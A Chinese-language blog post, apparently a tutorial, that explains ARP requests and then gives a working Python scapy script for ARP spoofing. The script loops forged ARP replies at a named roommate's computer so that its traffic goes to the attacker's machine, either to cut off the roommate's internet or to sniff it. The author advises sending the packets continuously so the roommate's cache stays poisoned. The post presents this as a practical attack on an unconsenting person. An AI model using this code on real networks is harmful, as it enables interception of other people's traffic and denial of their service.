网络2层通讯依赖正确的MAC地址,而ARP协议又非常脆弱(不安全),最著名的就是ARP欺诈。
家用网络设备一般不会有ARP防护功能,因此可以轻松的对家庭局域网其他用户进行ARP污染,阻止他们正常的上网行为。
Python有一款很方便的网络工具库叫做scapy(注意不是scrapy),可以轻松构造各种网络协议请求,因此我就拿它来演示如何构造ARP欺诈应答,对局域网用户进行污染。
ARP正常请求/应答
家里的电脑上网,默认网关是路由器192.168.2.1,因此当访问百度等网站时会ARP请求192.168.2.1的MAC地址。
我们手动模拟这个ARP请求,了解一下ARP的工作过程。
首先引入scapy库:
1 |
from scapy.all import * |
然后构造一个ARP广播请求,发送并等待应答:
1 2 3 4 |
arp_request = ARP(op=1,pdst='192.168.2.1') arp_response = sr1(arp_request, iface='ens18') # send&receive arp_request.show() arp_response.show() |
这里op=1表示这是ARP的request而不是response,请求解析的地址是192.168.2.1。
调用sr1表示” send&receive 1次”,也就是发送请求等待1个应答并返回。
打印出ARP请求和ARP应答:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
Begin emission: Finished sending 1 packets. Received 1 packets, got 1 answers, remaining 0 packets ###[ ARP ]### hwtype = 0x1 ptype = IPv4 hwlen = None plen = None op = who-has hwsrc = 0e:53:0e:a6:e3:c0 psrc = 192.168.2.203 hwdst = 00:00:00:00:00:00 pdst = 192.168.2.1 ###[ ARP ]### hwtype = 0x1 ptype = IPv4 hwlen = 6 plen = 4 op = is-at hwsrc = fc:7c:02:c9:76:73 psrc = 192.168.2.1 hwdst = 0e:53:0e:a6:e3:c0 pdst = 192.168.2.203 ###[ Padding ]### load = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |
可以看到,发送的ARP请求目标mac地址是全0,也就是ARP广播,局域网都会收到。
而应答来自192.168.2.1,其MAC地址是0e:53:0e:a6:e3:c0。
污染舍友电脑
舍友的电脑同样会发送ARP请求路由器的MAC地址,如果我们假装路由器向其回复一个错误MAC地址,那么舍友就无法正常上网了。
更实用的是,我们可以把自己电脑的MAC地址回复给舍友电脑,这样舍友电脑的流量就会发给我们的电脑,我们就可以对其上网流量进行分析了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# 攻击方:192.168.2.203 # 被攻击方:192.168.2.169 # 路由器IP:192.168.2.1 # 攻击内容(ARP应答): # src mac: 攻击方Mac,src ip:路由器192.168.2.1 # dst mac:62:db:d5:bf:34:43,dst ip:192.168.2.169 # 3层协议 arp_request = ARP(op=2, hwsrc='0e:53:0e:a6:e3:c0', psrc='192.168.2.1', hwdst='62:db:d5:bf:34:43', pdst='192.168.2.169') # 2层协议(链路层,需要明确目标mac地址) eth_request = Ether(src='0e:53:0e:a6:e3:c0', dst='62:db:d5:bf:34:43') # 拼起来 request = eth_request / arp_request # 发送欺诈包 # 0e:53:0e:a6:e3:c0 → 62:db:d5:bf:34:43 ARP 42 192.168.2.1 is at 0e:53:0e:a6:e3:c0 while True: sendp(request, iface='ens18') #print('欺诈完成') |
上述代码描述了整个网络环境:
- 我的电脑是192.168.2.203,MAC地址是0e:53:0e:a6:e3:c0。
- 舍友电脑是192.168.2.169,MAC地址是62:db:d5:bf:34:43。
- 路由器是192.168.2.1,MAC地址不重要。
在我的电脑中运行上述代码,将构造一个ARP应答欺诈。
我们要污染舍友电脑,让它认为192.168.2.1的MAC地址是0e:53:0e:a6:e3:c0,因此ARP的hwsrc是我的电脑,而psrc是路由器IP。
目标MAC和IP地址就是舍友电脑。
ARP属于3层协议,我们在2层需要定向发给舍友电脑,因此链路层Ether头的dst mac要写成舍友电脑,源MAC写自己的地址就行。
最后用/可以把网络包从高层->底层拼装起来,然后循环的sendp发送即可,iface指定包的网卡出口。
最后
如果我们去看舍友电脑上的arp -na命令,会看到192.168.2.1已经被污染为我的电脑,但是偶尔还会变成路由器MAC。
这是因为路由器也会定时的ARP探测局域网设备,而路由器发出的ARP广播会携带自己正确的MAC地址,导致舍友电脑的ARP缓存被纠正。
因此,我们在攻击时一定要注意循环发送欺诈应答,这样才可以持续对舍友电脑进行干扰。
如果文章帮助您解决了工作难题,您可以帮我点击屏幕上的任意广告,或者赞助少量费用来支持我的持续创作,谢谢~
